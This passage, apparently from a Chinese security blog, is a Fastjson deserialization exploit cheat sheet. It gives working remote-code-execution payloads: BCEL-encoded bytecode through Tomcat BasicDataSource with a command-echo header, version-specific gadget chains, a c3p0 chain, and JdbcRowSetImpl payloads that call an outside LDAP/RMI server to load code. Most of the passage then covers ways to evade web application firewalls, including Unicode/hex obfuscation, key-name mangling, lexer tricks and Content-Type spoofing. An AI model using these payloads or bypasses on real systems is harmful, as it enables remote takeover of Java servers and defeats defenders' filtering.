"driverClassName": "$$BCEL$$$l$8b$I$A$A$A$A$A$A$A$8dQMO$db$40$Q$7d$9b8$b1$e3$3a$N$84$86$96$7eB$81$S8$b0$Xn$m$O$ad$8aT$d5$z$a8A$f4$bc$d9l$c3$a6$8e7$b27$U$7e$Rg$$$808$f0$D$f8Q$88$f1$96R$qz$a8W$9e$d9$f9xo$de$d8W$d7$X$97$A$d6$f0$$D$80$a7$n$9ea$s$c0$f3$c2$bf$f0$f12D$F$af$7c$bc$f6$f1$86$a1$ba$a1Sm7$Z$ca$ed$e5$3d$G$ef$83$e9$v$86F$acS$f5u$3c$ec$aalWt$T$ca4c$pE$b2$t2$5d$c4$b7I$cf$ee$eb$9ca1$96f$c8S$cd$7f$88$dc$Or$93$e6v$dc$3b$e2$3d549$ff$a5$ba$fc$bdT$c9$3aC$b0$n$93$dbi$8c$d0$adx$m$O$E$d7$86$7f$da$fex$u$d5$c8j$93R$5b$bdc$85$fc$f9E$8c$dc$U$S$cc$Qv$cc8$93jK$XSk$F$ddj$81$8dPC$e8c6$c2$i$de$92$iR$u$p$ccc$81a$ea$l$dc$R$W$R2$cc$ff$87Z$86$JG$90$88$b4$cf$b7$bb$D$r$z$c3$e4$df$d4$b7qj$f5$90$c4$84$7de$ef$82V$7b9$7e$d0C$hy$eaPI$86$a5$f6$bdj$c7f$3a$ed$af$df$H$ecdF$aa$3c$t$40cDE$eb$be$c3n$s$a4$a2$fd$7c$fa$95$c5S$C$x$b6$s$fb$88$oN$9e$91$af$ac$9c$81$9d$b8rD$b6$ea$92$n$ead$a3$df$Nx$8c$G$f9$A$Tw$60$e1$c8$80$e69J$cd$f2$v$bc$ef$c7$I$3e$af$9c$a2z$e2$f25$c2VPv$8c$d3t$D$f1$d5$I$l$RW$9d$d8$s$e9$fc$99P$87GQ$93$a2$vz$7d$94b$lO$3c$w$b4$9c$a8$e9$h$fd$g$91$e0$94$C$A$A"
}
}: "bbb"
}
2、命令执行可回显poc
POST /json HTTP/1.1
cmd:whoami{
{
"@type": "com.alibaba.fastjson.JSONObject",
"x":{
"@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
"driverClassLoader": {
"@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
},
"driverClassName": "$$BCEL$$$l$8b$I$A$A$A$A$A$A$A$8dV$cb$5b$TW$U$ff$5dH27$c3$m$g$40$Z$d1$wX5$a0$q$7d$d8V$81Zi$c4b$F$b4F$a5$f8j$t$c3$85$MLf$e2$cc$E$b1$ef$f7$c3$be$ec$a6$df$d7u$X$ae$ddD$bf$f6$d3$af$eb$$$ba$ea$b6$ab$ae$ba$ea$7fP$7bnf$C$89$d0$afeq$ee$bd$e7$fe$ce$ebw$ce$9d$f0$cb$df$3f$3e$Ap$I$df$aaHbX$c5$IF$a5x$9e$e3$a8$8a$Xp$8ccL$c1$8b$w$U$e4$U$iW1$8e$T$i$_qLp$9c$e4x$99$e3$94$bc$9b$e4$98$e2$98VpZ$o$cep$bc$c2qVE$k$e7Tt$e2$3c$c7$F$b9$cep$bc$ca1$cbqQ$G$bb$c4qY$c1$V$VW$f1$9a$U$af$ab0PP$b1$h$s$c7$9c$5c$85$U$f3$i$L$iE$F$96$82E$86$c4$a8$e5X$c1Q$86$d6$f4$c0$F$86X$ce$9d$T$M$j$93$96$p$a6$x$a5$82$f0$ce$Z$F$9b4$7c$d4$b4$pd$7b$3e0$cc$a5$v$a3$5c$bb$a2j$U$yQ$z$94$ac$C$9b$fc2$a8y$b7$e2$99$e2$84$r$z$3b$f2e$cfr$W$c6$cd$a2$9bY4$96$N$N$H1$a4$a0$a4$c1$81$ab$a1$8ck$M$a3$ae$b7$90$f1k$b8y$cf$u$89$eb$ae$b7$94$b9$$$K$Z$d3u$C$b1$Sd$3cq$ad$o$fc$ms6$5cs$a1z$c2$b5$e7$84$a7$c0$d3$e0$p$60$e8Z$QA$84$Y$L$C$cf$wT$C$e1S$G2l$d66$9c$85l$ce6$7c_C$F$cb$M$9b$d7$d4$a7$L$8b$c2$M$a8$O$N$d7$b1$c2p$ec$ff$e6$93$X$de$b2$bda$d0$b6Z$$$7e$d9u$7c$oA$5d$cb$8ca$a7$M$bc$92$f1C$db5$lup$92$c03$9e$V$I$aa$eb$86$ccto$b3A1$I$ca$99$J$S$cd$d1C$c3$Ja$Q$tM$d5$e5$DY$88$867$f0$s$f5$d9$y$cd1$u$ae$9fq$a80$Foix$h$efhx$X$ef$d1$e5$cc$c9i$N$ef$e3$D$86$96$acI$b0l$c1r$b2$7e$91$8eC$a6$86$P$f1$R$e9$q$z$81$ed0l$a9$85$a8$E$96$9d$cd$9b$86$e3$c8V$7c$ac$e1$T$7c$aa$e13$7c$ae$e0$a6$86$_$f0$a5l$f8W$e4$e1$f2$98$86$af$f1$8d$86$5b2T$7c$de$aeH$c7q$d3ve$d1$9dk$f9$8e$af$98$a2$iX$$$85$e85$ddRv$de$f0$83E$dfu$b2$cb$V$8a$b4$3aM$M$3dk6$9e$98$b7$a9$85$d9$v$R$U$5d$w$b0$f3$d2$e4$a3$E$8c4$91r$ae$e8$RS4$cdf$c5$f3$84$T$d4$cf$5d$e9$81$c9GQd$d9M$d4FSW$9b$a1I7$a4Yo$827$5cI$9b$N$_$a8M6mj$gjmz$7d$9e$eb$3c$8e$84$ad$ad$d7vl$D$9bK$ebl$g$bd4$b3C$ee$S$96$b3$ec$$$R$edG$g$7d$85$cf$a0$c9W$a4$gX$af$a2$feSN$c7$85i$h$9e$98$ab$e7$d6$ee$8b$60$cc4$85$ef$5b$b5$efF$y$7dQ$7eW$g$a7$f1$86$l$88R$f8$40$cexnYx$c1$N$86$7d$ff$c1$c3j$L$db$C$f7$7c$99$8cr$86$9c$9a$e6n$ad$82$b8$7c$a7$86$e5$Q$c1$bd$8d$8esE$c3$cb$cb$d7$e2$98bd$e0$o$Be$5b$c3Nt$ae$ef$e4H$7d$c6k$aa$b3$V$t$b0J$f5$c7$5c$3ft7$99Ej2$8c$89$VA$_$u$9d$de$60$Q$h$z$88$C$c9Vs$a8H$c9$b0$89B$9dt$ca$95$80$y$85A$acm$ab$87$b3$dcl$c3$F$99$f7$a47$bc$90$eck$V_$i$X$b6U$92$df$U$86$fd$ff$ceu$e3c$96E84$ef$e8$c3$B$fa$7d$91$7f$z$60$f2$ebM2C$a7$9d$b42Z$e3$83w$c1$ee$d0$86$nK2QS$s$c0$f1D$j$da$d2O$O$da$Ip$f5$kZ$aahM$c5$aa$88$9f$gL$rZ$efC$a9$82O$k$60$b4KV$a1NE$80$b6$Q$a0$d5$B$83$a9$f6h$3b$7d$e0$60$84$j$8e$N$adn$e3$91$dd$s$b2Ku$84$d0$cd$c3$89H$bbEjS1$d2$ce$b6$a6$3a$f3$f2J$d1$VJ$a2KO$84R$8f$d5$3dq$5d$d1$e3$EM$S$b4$9b$a0$ea$cf$e8$iN$s$ee$93TS$5b$efa$5b$V$3d$v$bd$8a$ed$df$p$a5$ab$S$a3$ab$b1To$fe6$3a$e4qG$ed$b8$93d$5cO$e6u$5e$c5c$a9$5d$8d$91u$k$3a$ff$J$bbg$ef$a1OW$ab$e8$afb$cf$5d$3c$9e$da$5b$c5$be$w$f6$cb$a03$a1e$3a$aaD$e7Qz$91$7e$60$9d$fe6b$a7$eeH$e6$d9$y$bb$8cAj$95$ec$85$83$5e$92IhP$b1$8d$3a$d0G$bb$n$b4$e306$n$87$OLc3f$b1$F$$R$b8I$ffR$dcB$X$beC7$7e$c0VP$a9x$80$k$fc$K$j$bfa$3b$7e$c7$O$fcAM$ff$T$bb$f0$Xv$b3$B$f4$b11$f4$b3Y$ec$a5$88$7b$d8$V$ec$c7$93$U$edY$c4$k$S$b8M$c1S$K$9eVp$a8$$$c3M$b8$7fF$n$i$da$k$c2$93s$a3$e099$3d$87k$pv$e4$l$3eQL$40E$J$A$A"
}
}: "x"
}
POST /json HTTP/1.1
Host: 127.0.0.1:9092
Content-Type: application/json
cmd: ver && echo fastjson
Content-Length: 3327{
{
"@type": "com.alibaba.fastjson.JSONObject",
"x":{
"@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
"driverClassLoader": {
"@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
},
"driverClassName": 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}
}: "x"
}
1.2.33<=fastjson<=1.2.36
{
"name":
{
"@type" : "java.lang.Class",
"val" : "org.apache.tomcat.dbcp.dbcp2.BasicDataSource"
},
"x" : {
"name": {
"@type" : "java.lang.Class",
"val" : "com.sun.org.apache.bcel.internal.util.ClassLoader"
},
{
"@type":"com.alibaba.fastjson.JSONObject",
"c": {
"@type":"org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
"driverClassLoader": {
"@type" : "com.sun.org.apache.bcel.internal.util.ClassLoader"
},
"driverClassName":"$$BCEL..."
}
} : "ddd"
}
}
1.2.36<=fastjson<=1.2.47
利用的是ref的方式来调用任意的getter，比如这个Payload调用的是x.y.c.connection，x是这个大对象，最终调用的是c对象的connection方法，也就是BasicDataSource.connection。
{
"name": {
"@type": "java.lang.Class",
"val": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource"
},
"x": {
"name": {
"@type": "java.lang.Class",
"val": "com.sun.org.apache.bcel.internal.util.ClassLoader"
},
"y": {
"@type": "com.alibaba.fastjson.JSONObject",
"c": {
"@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
"driverClassLoader": {
"@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
},
"driverClassName": "$$BCEL...",
"$ref": "$.x.y.c.connection"
}
}
}
}
c3p0#WrapperConnectionPoolDataSource
fastjson <1.2.47
<dependency>
<groupId>com.mchange</groupId>
<artifactId>c3p0</artifactId>
<version>0.9.5.2</version>
</dependency>
{
"e": {
"@type": "java.lang.Class",
"val": "com.mchange.v2.c3p0.WrapperConnectionPoolDataSource"
},
"f": {
"@type": "com.mchange.v2.c3p0.WrapperConnectionPoolDataSource",
"userOverridesAsString": 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}
}
参考文章：
Java动态类加载，当FastJson遇到内网
Tomcat 加载bcel字节码
仅针对poc关键词进行简单混淆
Unicode/Hex编码绕过
{
"rand1": {
"\u0040\u0074\u0079\u0070\u0065": "\x4c\x63\x6f\x6d\x2e\x73\x75\x6e\x2e\x72\x6f\x77\x73\x65\x74\x2e\x4a\x64\x62\x63\x52\x6f\x77\x53\x65\x74\x49\x6d\x70\x6c\x3b",
"\u0064\u0061\u0074\u0061\u0053\u006f\u0075\u0072\u0063\u0065\u004e\u0061\u006d\u0065": "\x6c\x64\x61\x70\x3a\x2f\x2f\x31\x37\x32\x2e\x32\x30\x2e\x31\x30\x2e\x32\x3a\x31\x33\x38\x39\x2f\x54\x6f\x6d\x63\x61\x74\x42\x79\x70\x61\x73\x73\x2f\x43\x6f\x6d\x6d\x61\x6e\x64\x2f\x63\x61\x6c\x63",
"\x61\x75\x74\x6f\x43\x2d\x6f\x2d\x6d\x6d\x69\x74": true
}
}
可以将编码进行混合使用
{
"simw1r":{"\u0040t\u0079\u0070e":"java.lang.Class","val":"\x63om.s\x75\x6E\x2E\x72\u006F\u0077s\x65\x74\u002EJd\u0062\x63\u0052o\x77S\x65t\x49\x6D\u0070\u006C"},
"5gwgkc":{{
"\u0040t\u0079\u0070e": "com.alibaba.fastjson.JSONObject",
"bcdqdl":
{"\u0040t\u0079\u0070e":"\x63om.s\x75\x6E\x2E\x72\u006F\u0077s\x65\x74\u002EJd\u0062\x63\u0052o\x77S\x65t\x49\x6D\u0070\u006C","dataSourceName":"rmi://xxxx:xx/PQ5P8iBh/","autoCommit":true}
}:{}}
}
Hex在线编码
Unicode在线编码
基于Fastjson智能匹配绕过
fastjson在映射javaBean时，找不到对应key时，会忽略大小写及- 、_，反序列化时会将忽略后的字符匹配对应的驼峰式命名的对象中。
{
"rand1": {
"@type": "Lcom.sun.rowset.JdbcRowSetImpl;",
"dat-aS-ourc-eName": "ldap://172.20.10.2:1389/TomcatBypass/Command/calc",
"aut_o_Commit": true
}
}
同时，fastjson1.2.36版本及之后，可以混合使用-、_。
{
"rand1": {
"@type": "Lcom.sun.rowset.JdbcRowSetImpl;",
"dat-aS-ou_rc-eName": "ldap://172.20.10.2:1389/TomcatBypass/Command/calc",
"aut_o_Co_m_mit": true
}
}
再次基础上也能叠加使用Unicode/Hex编码。
基于Fastjson词法分析器混淆绕过
使用单引号替代双引号
属性前添加多个 ,
添加 /*anythings*/在属性值间
修改Content-Type
某些Waf考虑到解析效率的问题，会根据Content-Type的内容进行针对性的拦截分析，例如值为appliction/xml时会进行XXE的检查，那么可以尝试将Content-Type设置为通配符“*/*来绕过相关的检查。针对Fastjson的检查，也同样可以用这种思路更改为Content-Type: */*，或是Content-Type: */*;charset=UTF-8
参考链接
fastjson到底做错了什么
Fastjson 反序列化漏洞史
Java安全之FastJson JdbcRowSetImpl 链分析
spring-boot-upload-file-lead-to-rce-tricks
浅谈fastjson waf Bypass思路
技术交流加下方vx
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